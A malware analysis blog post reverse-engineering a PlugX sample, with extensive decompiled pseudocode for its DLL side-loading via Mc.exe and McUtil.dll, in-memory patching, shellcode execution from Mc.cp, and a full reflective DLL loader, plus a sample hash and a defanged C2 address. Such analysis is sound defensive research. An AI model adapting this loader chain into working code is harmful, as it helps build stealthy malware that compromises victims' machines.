[QuickNote] Another nice PlugX sample

Posted: January 9, 2023 in My Tutorials, [QuickNote] Another nice PlugX sample
Tags: , , , , ,

Sample information shared by Johann Aydinbas(@jaydinbas):

Sample hash: 2025427bba36b48e827a61116321bbe6b00d77d3fd35d552f72e052eb88948e0

Download here!

Details of this sample as shown below:

  1. The Mc.exe code will use the LoadLibraryW API function to load McUtil.dll.
  2. When McUtil.dll is loaded, the code at DllEntryPoint of this dll will be executed, then it will call the function that patch the below address of the LoadLibraryW function into a jump command to the function plx_read_Mc_cp_content_and_exec

Pseudocode at Mc.exe’s mw_load_and_exec_McUtil_dll_code function:

DWORD __usercall mw_load_and_exec_McUtil_dll_code@<eax>(MW_CTX *ctx@<edi>, const wchar_t *file_path@<esi>)
{

  wstr_McUtil_dll_full_path = 0;
  memset(v7, 0, sizeof(v7));
  if ( file_path && *file_path )
  {
    wcscpy_s(&wstr_McUtil_dll_full_path, MAX_PATH, file_path);
    if ( *(&v5 + wcslen(&wstr_McUtil_dll_full_path)) == '\\' )
    {
      goto LABEL_8;
    }
  }
  else
  {
    GetModuleFileNameW(0, &wstr_McUtil_dll_full_path, MAX_PATH);
    backslash_pos = wcsrchr(&wstr_McUtil_dll_full_path, '\\');
    if ( !backslash_pos )
    {
      goto LABEL_8;
    }
    *backslash_pos = 0;
  }
  wcscat_s(&wstr_McUtil_dll_full_path, MAX_PATH, L"\\");
LABEL_8:
  wcscat_s(&wstr_McUtil_dll_full_path, MAX_PATH, ctx->wstr_McUtil_dll);
  // Load McUtil.dll and exec McUtil.dll's DllEntryPoint -> exec the patching/hooking function
  McUtil_dll_hdl = LoadLibraryW(&wstr_McUtil_dll_full_path);
  ctx->McUtil_dll_hdl = McUtil_dll_hdl;         // this instruction will be patched to jump to plx_read_Mc_cp_content_and_exec function in McUtil.dll
  if ( McUtil_dll_hdl )
  {
    dwResult = 0;
  }
  else
  {
    dwResult = GetLastError();
  }
  return dwResult;
}

The pseudocode at the plx_patching_func function of McUtil.dll performs the task of patching code:

// This function will patch address at Mc_exe to jump to plx_read_Mc_cp_content_and_exec function
char __stdcall plx_patching_func()
{

  base_idx = g_str_index;
  str_GetSystemTime = &g_dec_str[g_str_index];
  str_GetSystemTime = &g_dec_str[g_str_index];
  offset = &g_enc_GetSystemTime - &g_dec_str[g_str_index];
  len_str = 13;
  do
  {
    *str_GetSystemTime = ((str_GetSystemTime[offset] - 0x62) ^ 0x3F) + 0x62;// GetSystemTime
    ++str_GetSystemTime;
    --len_str;
  }
  while ( len_str );
  str_GetSystemTime[0xD] = 0;
  g_str_index = base_idx + 0xE;
  // retrieve base address of kernel32.dll
  if ( !g_kernel32_dll_handle )
  {
    ldr_entry = NtCurrentPeb()->Ldr->InInitializationOrderModuleList.Flink;
    // 0x1A: maximum_length
    // 0x18: length 
    // of "kernel32.dll"
    while ( *&ADJ(ldr_entry)->BaseDllName.Length != 0x1A0018 )
    {
      ldr_entry = ADJ(ldr_entry)->InInitializationOrderLinks.Flink;
      if ( !ldr_entry )
      {
        goto LABEL_9;
      }
    }
    g_kernel32_dll_handle = ADJ(ldr_entry)->DllBase;
  }
LABEL_9:
  GetSystemTime = GetProcAddress(g_kernel32_dll_handle, str_GetSystemTime);
  GetSystemTime(&SystemTime);
  tmp_var.dwRandomNum = SystemTime.wDay + 0x64 * (SystemTime.wMonth + 0x64 * SystemTime.wYear);
  if ( tmp_var.dwRandomNum < 20140606 )
  {
    return tmp_var.dwRandomNum;
  }
  Mc_exe_base_addr = GetModuleHandleA(0);                   // return base address of Mc.exe
  str_VirtualProtect = &g_dec_str[g_str_index];
  len_str = 14;
  offset = &g_enc_VirtualProtect - &g_dec_str[g_str_index];
  pTargetAddressAtMcExe = Mc_exe_base_addr + 0xBC3;
  str_VirtualProtect = &g_dec_str[g_str_index];
  g_str_index += 14;
  do
  {
    *str_VirtualProtect = ((str_VirtualProtect[offset] - 0xF) ^ 0x3F) + 0xF;// VirtualProtect
    ++str_VirtualProtect;
    --len_str;
  }
  while ( len_str );
  ++g_str_index;
  str_VirtualProtect[0xE] = 0;
  if ( !g_kernel32_dll_handle )
  {
    ldr_entry = NtCurrentPeb()->Ldr->InInitializationOrderModuleList.Flink;
    while ( *&ADJ(ldr_entry)->BaseDllName.Length != 0x1A0018 )
    {
      ldr_entry = ADJ(ldr_entry)->InInitializationOrderLinks.Flink;
      if ( !ldr_entry )
      {
        goto change_protection_and_patch_target_address;
      }
    }
    g_kernel32_dll_handle = ADJ(ldr_entry)->DllBase;
  }
change_protection_and_patch_target_address:
  VirtualProtect = GetProcAddress(g_kernel32_dll_handle, str_VirtualProtect);
  tmp_var.dwRes = VirtualProtect(pTargetAddressAtMcExe, 0x10u, PAGE_EXECUTE_READWRITE, &flOldProtect);
  if ( !tmp_var.dwRes )
  {
    return tmp_var.dwRandomNum;
  }
  
  tmp_var.disp_to_plx_read_Mc_cp_content_and_exec = plx_read_Mc_cp_content_and_exec - pTargetAddressAtMcExe - 5;
  HIBYTE(v18) = HIBYTE(tmp_var.disp_to_plx_read_Mc_cp_content_and_exec);
  pTargetAddressAtMcExe[1] = tmp_var.disp_to_plx_read_Mc_cp_content_and_exec;
  LOBYTE(tmp_var.disp_to_plx_read_Mc_cp_content_and_exec) = HIBYTE(v18);
  *pTargetAddressAtMcExe = 0xE9;                            // jmp opcode
  pTargetAddressAtMcExe[2] = BYTE1(tmp_var.disp_to_plx_read_Mc_cp_content_and_exec);
  pTargetAddressAtMcExe[3] = (plx_read_Mc_cp_content_and_exec - pTargetAddressAtMcExe - 5) >> 0x10;
  pTargetAddressAtMcExe[4] = tmp_var.disp_to_plx_read_Mc_cp_content_and_exec;
  return tmp_var.dwRandomNum;
}

The pseudocode at the function plx_read_Mc_cp_content_and_exec of McUtil.dll performs the task of reading the entire contents of Mc.cp into the allocated memory and executing the shellcode.

void __stdcall plx_read_Mc_cp_content_and_exec()
{
 
  tmp_index = g_str_index;
  str_VirtualAlloc = &g_dec_str[g_str_index];
  str_VirtualAlloc = &g_dec_str[g_str_index];
  offset = &g_enc_VirtualAlloc - &g_dec_str[g_str_index];
  len_str = 12;
  do
  {
    *str_VirtualAlloc = ((str_VirtualAlloc[offset] + 0x74) ^ 0x3F) - 0x74;// VirtualAlloc
    ++str_VirtualAlloc;
    --len_str;
  }
  while ( len_str );
  g_str_index = tmp_index + 0xD;
  str_VirtualAlloc[0xC] = 0;
  if ( !g_kernel32_dll_handle )
  {
    ldr_entry = NtCurrentPeb()->Ldr->InInitializationOrderModuleList.Flink;
    while ( *&ADJ(ldr_entry)->BaseDllName.Length != 0x1A0018 )
    {
      ldr_entry = ADJ(ldr_entry)->InInitializationOrderLinks.Flink;
      if ( !ldr_entry )
      {
        goto alloc_mem;
      }
    }
    g_kernel32_dll_handle = ADJ(ldr_entry)->DllBase;
  }
alloc_mem:
  VirtualAlloc = GetProcAddress(g_kernel32_dll_handle, str_VirtualAlloc);
  ptr_shellcode = VirtualAlloc(0, 0x100000u, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  tmp_index = g_str_index;
  tmp_var.ptr_shellcode = ptr_shellcode;
  str_GetModuleFileNameW = &g_dec_str[g_str_index];
  str_GetModuleFileNameW = &g_dec_str[g_str_index];
  offset = &g_enc_GetModuleFileNameW - &g_dec_str[g_str_index];
  len_str = 18;
  do
  {
    *str_GetModuleFileNameW = ((str_GetModuleFileNameW[offset] - 0x40) ^ 0x3F) + 0x40;// GetModuleFileNameW
    ++str_GetModuleFileNameW;
    --len_str;
  }
  while ( len_str );
  str_GetModuleFileNameW[0x12] = 0;
  g_str_index = tmp_index + 0x13;
  if ( !g_kernel32_dll_handle )
  {
    ldr_entry = NtCurrentPeb()->Ldr->InInitializationOrderModuleList.Flink;
    while ( *&ADJ(ldr_entry)->BaseDllName.Length != 0x1A0018 )
    {
      ldr_entry = ADJ(ldr_entry)->InInitializationOrderLinks.Flink;
      if ( !ldr_entry )
      {
        goto get_mw_path;
      }
    }
    g_kernel32_dll_handle = ADJ(ldr_entry)->DllBase;
  }
get_mw_path:
  GetModuleFileNameW = GetProcAddress(g_kernel32_dll_handle, str_GetModuleFileNameW);
  path_length = GetModuleFileNameW(0, tmp_var.wstr_Mc_cp_full_path, 0x1000u);
  str_lstrcpyW = &g_dec_str[g_str_index];
  strcpy(&g_dec_str[g_str_index], "lstrcpyW");
  g_str_index += 9;
  if ( !g_kernel32_dll_handle )
  {
    ldr_entry = NtCurrentPeb()->Ldr->InInitializationOrderModuleList.Flink;
    while ( *&ADJ(ldr_entry)->BaseDllName.Length != 0x1A0018 )
    {
      ldr_entry = ADJ(ldr_entry)->InInitializationOrderLinks.Flink;
      if ( !ldr_entry )
      {
        goto build_Mc_cp_path;
      }
    }
    g_kernel32_dll_handle = ADJ(ldr_entry)->DllBase;
  }
build_Mc_cp_path:
  lstrcpyW = GetProcAddress(g_kernel32_dll_handle, str_lstrcpyW);
  idx = --path_length;
  if ( path_length )
  {
    while ( tmp_var.wstr_Mc_cp_full_path[idx] != '\\' )
    {
      path_length = --idx;
      if ( !idx )
      {
        goto read_and_exec_shellcode;
      }
    }
    lstrcpyW(&tmp_var.wstr_Mc_cp_full_path[idx + 1], L"Mc.cp");
  }
read_and_exec_shellcode:
  tmp_index = g_str_index;
  str_CreateFileW = &g_dec_str[g_str_index];
  str_CreateFileW = &g_dec_str[g_str_index];
  offset = &g_enc_CreateFileW - &g_dec_str[g_str_index];
  len_str = 11;
  do
  {
    *str_CreateFileW = ((str_CreateFileW[offset] + 0x7B) ^ 0x3F) - 0x7B;
    ++str_CreateFileW;
    --len_str;
  }
  while ( len_str );
  str_CreateFileW[0xB] = 0;
  g_str_index = tmp_index + 0xC;
  if ( !g_kernel32_dll_handle )
  {
    ldr_entry = NtCurrentPeb()->Ldr->InInitializationOrderModuleList.Flink;
    while ( *&ADJ(ldr_entry)->BaseDllName.Length != 0x1A0018 )
    {
      ldr_entry = ADJ(ldr_entry)->InInitializationOrderLinks.Flink;
      if ( !ldr_entry )
      {
        goto get_handle_to_Mc_for_reading;
      }
    }
    g_kernel32_dll_handle = ADJ(ldr_entry)->DllBase;
  }
get_handle_to_Mc_for_reading:
  CreateFileW = GetProcAddress(g_kernel32_dll_handle, str_CreateFileW);
  Mc_cp_hdl = CreateFileW(tmp_var.wstr_Mc_cp_full_path, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0);
  if ( Mc_cp_hdl != INVALID_HANDLE_VALUE )
  {
    str_ReadFile = &g_dec_str[g_str_index];
    strcpy(&g_dec_str[g_str_index], "ReadFile");
    g_str_index += 9;
    if ( !g_kernel32_dll_handle )
    {
      ldr_entry = NtCurrentPeb()->Ldr->InInitializationOrderModuleList.Flink;
      while ( *&ADJ(ldr_entry)->BaseDllName.Length != 0x1A0018 )
      {
        ldr_entry = ADJ(ldr_entry)->InInitializationOrderLinks.Flink;
        if ( !ldr_entry )
        {
          goto read_Mc_content_and_exec_shellcode;
        }
      }
      g_kernel32_dll_handle = ADJ(ldr_entry)->DllBase;
    }
read_Mc_content_and_exec_shellcode:
    ReadFile = GetProcAddress(g_kernel32_dll_handle, str_ReadFile);
    if ( ReadFile(Mc_cp_hdl, tmp_var.ptr_shellcode, 0x100000u, &path_length, 0) )
    {
      tmp_var.ptr_shellcode(0);                             // exec shellcode
      str_Sleep = &g_dec_str[g_str_index];
      strcpy(&g_dec_str[g_str_index], "Sleep");
      g_str_index += 6;
      if ( !g_kernel32_dll_handle )
      {
        ldr_entry = NtCurrentPeb()->Ldr->InInitializationOrderModuleList.Flink;
        while ( *&ADJ(ldr_entry)->BaseDllName.Length != 0x1A0018 )
        {
          ldr_entry = ADJ(ldr_entry)->InInitializationOrderLinks.Flink;
          if ( !ldr_entry )
          {
            goto sleep;
          }
        }
        g_kernel32_dll_handle = ADJ(ldr_entry)->DllBase;
      }
sleep:
      Sleep = GetProcAddress(g_kernel32_dll_handle, str_Sleep);
      Sleep(4294967295u);
    }
  }
}

Shellcode at Mc.cp will perform decrypting of the second shellcode and executes this shellcode:

The second shellcode unpacks the final PlugX Dll, maps it to the allocated memory and calls the Dll’s DllEntryPoint to execute it.

The whole pseudocode of this second shellcode is as below:

int __stdcall plx_load_dll_from_memory(PLX_SHELLCODE_CTX *sc_ctx)
{

  ldr_entry = NtCurrentPeb()->Ldr->InInitializationOrderModuleList.Flink;
  while ( *&ADJ(ldr_entry)->BaseDllName.Length != 0x1A0018 )
  {
    ldr_entry = ADJ(ldr_entry)->InInitializationOrderLinks.Flink;
    if ( !ldr_entry )
      return 1;
  }
  kernel32_base_addr = ADJ(ldr_entry)->DllBase;
  if ( !kernel32_base_addr )
    return 1;
  pExportDir = (kernel32_base_addr + *(kernel32_base_addr + *(kernel32_base_addr + 0xF) + 0x78));
  numApiNames = pExportDir->NumberOfNames;
  idx = 0;
  if ( numApiNames <= 0 )
    goto LABEL_21;
  // find GetProcAdderss
  while ( TRUE )
  {
    str_GetProcAdderss = kernel32_base_addr + *(kernel32_base_addr + 4 * idx + pExportDir->AddressOfNames);
    if ( *str_GetProcAdderss == 'G'
      && str_GetProcAdderss[1] == 'e'
      && str_GetProcAdderss[2] == 't'
      && str_GetProcAdderss[3] == 'P'
      && str_GetProcAdderss[4] == 'r'
      && str_GetProcAdderss[5] == 'o'
      && str_GetProcAdderss[6] == 'c'
      && str_GetProcAdderss[7] == 'A'
      && str_GetProcAdderss[8] == 'd'
      && str_GetProcAdderss[9] == 'd' )
    {
      break;
    }
    if ( ++idx >= numApiNames )
      goto LABEL_21;
  }
  GetProcAddress_rva = *(kernel32_base_addr + 4 * *(kernel32_base_addr + 2 * idx + pExportDir->AddressOfNameOrdinals) + pExportDir->AddressOfFunctions);
  // retrieve GetProcAdderss addr
  bRet = kernel32_base_addr + GetProcAddress_rva == 0;
  GetProcAddress = (kernel32_base_addr + GetProcAddress_rva);
  if ( bRet )
  {
LABEL_21:
    dwRes = 2;
    goto exit;
  }
  strcpy(str_LoadLibraryA, "LoadLibraryA");
  LoadLibraryA = GetProcAddress(kernel32_base_addr, str_LoadLibraryA);
  if ( !LoadLibraryA )
  {
    dwRes = 3;
    goto exit;
  }
  strcpy(str_VirtualAlloc, "VirtualAlloc");
  VirtualAlloc = GetProcAddress(kernel32_base_addr, str_VirtualAlloc);
  if ( !VirtualAlloc )
  {
    dwRes = 4;
    goto exit;
  }
  strcpy(str_VirtualFree, "VirtualFree");
  VirtualFree = GetProcAddress(kernel32_base_addr, str_VirtualFree);
  if ( !VirtualFree )
  {
    dwRes = 5;
    goto exit;
  }
  strcpy(str_ntdll, "ntdll");
  ntdll_handle = LoadLibraryA(str_ntdll);
  if ( !ntdll_handle )
  {
    dwRes = 7;
    goto exit;
  }
  strcpy(str_RtlDecompressBuffer, "RtlDecompressBuffer");
  tmp_var.RtlDecompressBuffer = GetProcAddress(ntdll_handle, str_RtlDecompressBuffer);
  if ( !tmp_var.RtlDecompressBuffer )
  {
    dwRes = 8;
    goto exit;
  }
  strcpy(str_memcpy, "memcpy");
  tmp_var1.memcpy = GetProcAddress(ntdll_handle, str_memcpy);
  if ( !tmp_var1.memcpy )
  {
    dwRes = 9;
    goto exit;
  }
  uncompressed_buffer_size = *sc_ctx->uncompressed_buffer_size;// 0x26400
  uncompressed_buffer = VirtualAlloc(0, uncompressed_buffer_size, MEM_COMMIT, PAGE_READWRITE);
  if ( !uncompressed_buffer )
  {
    dwRes = 0xC;
    goto exit;
  }
  if ( tmp_var.RtlDecompressBuffer(
         COMPRESSION_FORMAT_LZNT1,
         uncompressed_buffer,
         uncompressed_buffer_size,
         sc_ctx->uncompressed_buffer_size + 4,  // compressed dll buffer (offset 0x523)
         sc_ctx->dll_uncompressed_size - 4,     // 0x1C252
         &final_uncompressed_size) )
  {
    dwRes = 0xD;
    goto exit;
  }
  if ( final_uncompressed_size != uncompressed_buffer_size )
  {
    dwRes = 0xE;
    goto exit;
  }
  if ( *uncompressed_buffer != 'VX' )
  {
    dwRes = 0xF;
    goto exit;
  }
  decompressed_dll_nt_headers = &uncompressed_buffer[*(uncompressed_buffer + 0xF)];
  if ( decompressed_dll_nt_headers->Signature != 'VX' )
  {
    dwRes = 0x10;
    goto exit;
  }
  plugx_mapped_dll = VirtualAlloc(0, decompressed_dll_nt_headers->OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  tmp_var3.ptr_plugx_mapped_dll = plugx_mapped_dll;
  if ( !plugx_mapped_dll )
  {
    dwRes = 0x11;
    goto exit;
  }
  AddressOfEntryPoint = decompressed_dll_nt_headers->OptionalHeader.AddressOfEntryPoint;
  tmp_var2.cnt = 0;
  // retrieve the address of DllEntryPoint in mapped address
  ptr_PlugX_dll_entry_point = (plugx_mapped_dll + AddressOfEntryPoint);
  // copy sections
  decompressed_dll_section_headers = (&decompressed_dll_nt_headers->OptionalHeader + decompressed_dll_nt_headers->FileHeader.SizeOfOptionalHeader);
  if ( decompressed_dll_nt_headers->FileHeader.NumberOfSections )
  {
    pRawAddr = &decompressed_dll_section_headers->PointerToRawData;
    do
    {
      tmp_var1.memcpy(
        plugx_mapped_dll + ADJ(pRawAddr)->VirtualAddress,// mapped_addr + section.VirtualAddress
        &uncompressed_buffer[ADJ(pRawAddr)->PointerToRawData],// uncompressed_dll_addr + section.RawAddress
        ADJ(pRawAddr)->SizeOfRawData);          // section.RawSize
      num_of_sections = decompressed_dll_nt_headers->FileHeader.NumberOfSections;
      ++tmp_var2.cnt;
      pRawAddr += 0xA;                          // next section
    }
    while ( tmp_var2.cnt < num_of_sections );
  }
  // PerformBaseRelocation
  reloc_dir_rva = decompressed_dll_nt_headers->OptionalHeader.DataDirectory[5].VirtualAddress;
  if ( reloc_dir_rva && decompressed_dll_nt_headers->OptionalHeader.DataDirectory[5].Size )
  {
    for ( relocation = (plugx_mapped_dll + reloc_dir_rva); ; relocation = (relocation + relocation->SizeOfBlock) )
    {
      SizeOfBlock = relocation->SizeOfBlock;
      if ( !SizeOfBlock )
        break;
      relItems = 0;
      if ( (SizeOfBlock - IMAGE_SIZEOF_BASE_RELOCATION) >> 1 )// Items = relocation->SizeOfBlock-IMAGE_SIZEOF_BASE_RELOCATION) / 2
      {
        do
        {
          relocation_entry = &relocation[1] + relItems;
          rel_type = *relocation_entry >> 0xC;
          if ( rel_type )
          {
            if ( rel_type == IMAGE_REL_BASED_HIGHLOW )
            {
              offset = relocation->VirtualAddress + (*relocation_entry & 0xFFF);
              *(plugx_mapped_dll + offset) += plugx_mapped_dll - decompressed_dll_nt_headers->OptionalHeader.ImageBase;
            }
            else
            {
              if ( rel_type != IMAGE_REL_BASED_DIR64 )
              {
                dwRes = 0x12;
                goto exit;
              }
              tmp_var1.offset = plugx_mapped_dll + relocation->VirtualAddress + (*relocation_entry & 0xFFF);
              tmp_var.offset = 0;
              v24.memcpy = tmp_var1.memcpy;
              v22 = (plugx_mapped_dll - decompressed_dll_nt_headers->OptionalHeader.ImageBase) >> 0x20;
              v23 = plugx_mapped_dll - decompressed_dll_nt_headers->OptionalHeader.ImageBase;
              v25 = __CFADD__(v23, ADJ(tmp_var1.pVirtualAddress)->VirtualAddress);
              ADJ(tmp_var1.pVirtualAddress)->VirtualAddress += v23;
              plugx_mapped_dll = tmp_var3.ptr_plugx_mapped_dll;
              *(v24.offset + 4) += v22 + v25;
            }
          }
          SizeOfBlock = relocation->SizeOfBlock;
          relItems = (relItems + 1);
        }
        while ( relItems < ((SizeOfBlock - IMAGE_SIZEOF_BASE_RELOCATION) >> 1) );
      }
    }
  }
  // fill null bytes
  if ( decompressed_dll_nt_headers->OptionalHeader.DataDirectory[5].VirtualAddress )
  {
    reloc_dir_size = decompressed_dll_nt_headers->OptionalHeader.DataDirectory[5].Size;
    if ( reloc_dir_size )
    {
      j = 0;
      if ( reloc_dir_size > 0 )
      {
        do
        {
          delta_offset = j + decompressed_dll_nt_headers->OptionalHeader.DataDirectory[5].VirtualAddress;
          ++j;
          *(plugx_mapped_dll + delta_offset) = 0;
        }
        while ( j < decompressed_dll_nt_headers->OptionalHeader.DataDirectory[5].Size );
      }
    }
  }
  // BuildImportTable
  import_desc_rva = decompressed_dll_nt_headers->OptionalHeader.DataDirectory[1].VirtualAddress;
  if ( import_desc_rva && decompressed_dll_nt_headers->OptionalHeader.DataDirectory[1].Size )
  {
    import_desc_va = (plugx_mapped_dll + import_desc_rva);
    for ( tmp_var2.import_desc_va = import_desc_va; ; import_desc_va = tmp_var2.import_desc_va )
    {
      thunkRef = import_desc_va->OriginalFirstThunk;
      if ( !thunkRef )
        break;
      funcRef = tmp_var2.import_desc_va->FirstThunk;
      tmp_var.thunkData = (plugx_mapped_dll + thunkRef);
      pImportAddressTbl = plugx_mapped_dll + funcRef;
      tmp_var1.dll_handle = LoadLibraryA(plugx_mapped_dll + tmp_var2.import_desc_va->Name);
      if ( !tmp_var1.dll_handle )
      {
        dwRes = 0x13;
        goto exit;
      }
      thunkData = tmp_var.thunkData;
      j = 0;
      tmp_var3.cnt = 0;
      if ( *tmp_var.thunkData )
      {
        while ( TRUE )
        {
          pImportNameTbl = *thunkData;
          relItems = &pImportAddressTbl[j];     // pImportAddressTbl
          apiAddr = *&pImportNameTbl >= 0 ? GetProcAddress(
                                              tmp_var1.dll_handle,
                                              plugx_mapped_dll + *&pImportNameTbl + offsetof(IMAGE_IMPORT_BY_NAME, Name)) : GetProcAddress(
                                                                                                                              tmp_var1.dll_handle,
                                                                                                                              pImportNameTbl.Hint);
          *relItems = apiAddr;                  // pIAT[j] = apiAddr
          if ( !*relItems )
            break;
          ++tmp_var3.cnt;
          j = 4 * tmp_var3.cnt;
          thunkData = &tmp_var.thunkData[tmp_var3.cnt];// next import
          if ( !*thunkData )
            goto LABEL_76;
        }
        dwRes = 0x14;
        goto exit;
      }
LABEL_76:
      tmp_var2.offset += 0x14;
    }
  }
  import_desc_rva = decompressed_dll_nt_headers->OptionalHeader.DataDirectory[1].VirtualAddress;
  cnt = 0;
  if ( import_desc_rva && decompressed_dll_nt_headers->OptionalHeader.DataDirectory[1].Size )
  {
    v44 = 0;
    if ( decompressed_dll_nt_headers->FileHeader.NumberOfSections )
    {
      tmp_var3.pVirtualAddress = &decompressed_dll_section_headers->VirtualAddress;
      while ( 1 )
      {
        if ( import_desc_rva > ADJ(tmp_var3.pVirtualAddress)->VirtualAddress )
        {
          tmp_var.nextVirtuaAddr = ADJ(tmp_var3.pVirtualAddress)->VirtualAddress + decompressed_dll_section_headers->Misc.VirtualSize;
          import_desc_rva = decompressed_dll_nt_headers->OptionalHeader.DataDirectory[1].VirtualAddress;
          if ( import_desc_rva < tmp_var.nextVirtuaAddr )
            break;
        }
        num_of_sections = decompressed_dll_nt_headers->FileHeader.NumberOfSections;
        tmp_var3.pVirtualAddress += 0xA;
        if ( ++cnt >= num_of_sections )
          goto wipe_import_dir_info;
      }
      v44 = decompressed_dll_section_headers[cnt].Misc.VirtualSize + decompressed_dll_section_headers[cnt].VirtualAddress - import_desc_rva;
    }
wipe_import_dir_info:
    for ( i = 0; i < v44; v47[decompressed_dll_nt_headers->OptionalHeader.DataDirectory[1].VirtualAddress] = 0 )
      v47 = plugx_mapped_dll + i++;
  }
  // exec PlugX Dll from EntryPoint
  if ( ptr_PlugX_dll_entry_point(plugx_mapped_dll, DLL_PROCESS_ATTACH, sc_ctx) )
  {
    VirtualFree(uncompressed_buffer, 0, MEM_RELEASE);
    result = 0;
  }
  else
  {
    dwRes = 0x15;
exit:
    result = dwRes;
  }
  return result;
}

PlugX Dll performs the task of decrypting the configuration, which contains information about C2 that the malicious code will connect to:

The malware will inject into the svchost.exe process, then make a connection to the C2 address ( svchost.exe requested TCP 45[.]79.125.11:443)

End.

m4n0w4r

Comments
  1. […] 0day in {REA_TEAM}[QuickNote] Another nice PlugX sample […]

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.